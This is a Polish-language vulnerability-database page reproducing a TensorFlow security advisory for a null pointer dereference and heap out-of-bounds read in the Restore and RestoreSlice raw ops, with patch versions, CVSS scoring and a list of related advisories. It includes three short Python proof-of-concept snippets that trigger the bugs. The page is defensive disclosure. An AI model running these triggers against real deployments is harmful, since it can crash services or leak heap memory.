Wysoka

Null pointer dereference and heap OOB read in operations restoring tensors

  • Ujawniono: 12.08.2021
  • Aktualizacja: 11.10.2026 13:19

Impact

When restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer:

python
import tensorflow as tf

tf.raw_ops.Restore(
  file_pattern=['/tmp'],
  tensor_name=[], 
  default_value=21,
  dt=tf.int,
  preferred_shard=1)

The same undefined behavior can be triggered by tf.raw_ops.RestoreSlice:

python
import tensorflow as tf

tf.raw_ops.RestoreSlice(
  file_pattern=['/tmp'],
  tensor_name=[], 
  shape_and_slice='2',
  dt=inp.array([tf.int]),
  preferred_shard=1)

Alternatively, attackers can read memory outside the bounds of heap allocated data by providing some tensor names but not enough for a successful restoration:

python
import tensorflow as tf

tf.raw_ops.Restore(
  file_pattern=['/tmp'],
  tensor_name=['x'], 
  default_value=21,
  dt=tf.int,
  preferred_shard=42)

The implementation retrieves the tensor list corresponding to the tensor_name user controlled input and immediately retrieves the tensor at the restoration index (controlled via preferred_shard argument). This occurs without validating that the provided list has enough values.

If the list is empty this results in dereferencing a null pointer (undefined behavior). If, however, the list has some elements, if the restoration index is outside the bounds this results in heap OOB read.

Patches

We have patched the issue in GitHub commit 9e82dce6e6bd1f36a57e08fa85af213e2b2f2622.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) tensorflow < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Python (PyPI) tensorflow-cpu < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Python (PyPI) tensorflow-gpu < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1

Odnośniki

Ocena CVSS 8.4/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-125, CWE-476
Platforma
Python (PyPI)
Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu
Ujawniono
12.08.2021
Aktualizacja
11.10.2026 13:19

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2021-261 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-552 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-750 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-gh6x-4whr-2qv4 - CC BY 4.0

Historia podatności: tensorflow-gpu

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (427) w archiwum
Wszystkich wpisów
427
Pierwsza → ostatnia
04.2019 07.2024
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 6
  • Wysoka 109
  • Średnia 207
  • Niska 105

Ujawnienia w latach

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 166
  5. 2023: 18
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Istotność:
  1. Null pointer dereference and heap OOB read in operations restoring tensors ten wpis
    Wysoka · 8.4 CVE-2021-37639 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  2. Wysoka · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. Wysoka · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. Wysoka · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. Wysoka · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. Wysoka · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. Wysoka · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. Wysoka · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. Wysoka · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  10. Wysoka · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  11. Wysoka · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  12. Wysoka · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  13. Wysoka · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  14. Wysoka · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  15. Wysoka · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  16. Wysoka · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  17. Wysoka · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  18. Wysoka · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  19. Wysoka · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
Pokaż więcej (20) Widać 21 z 115

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.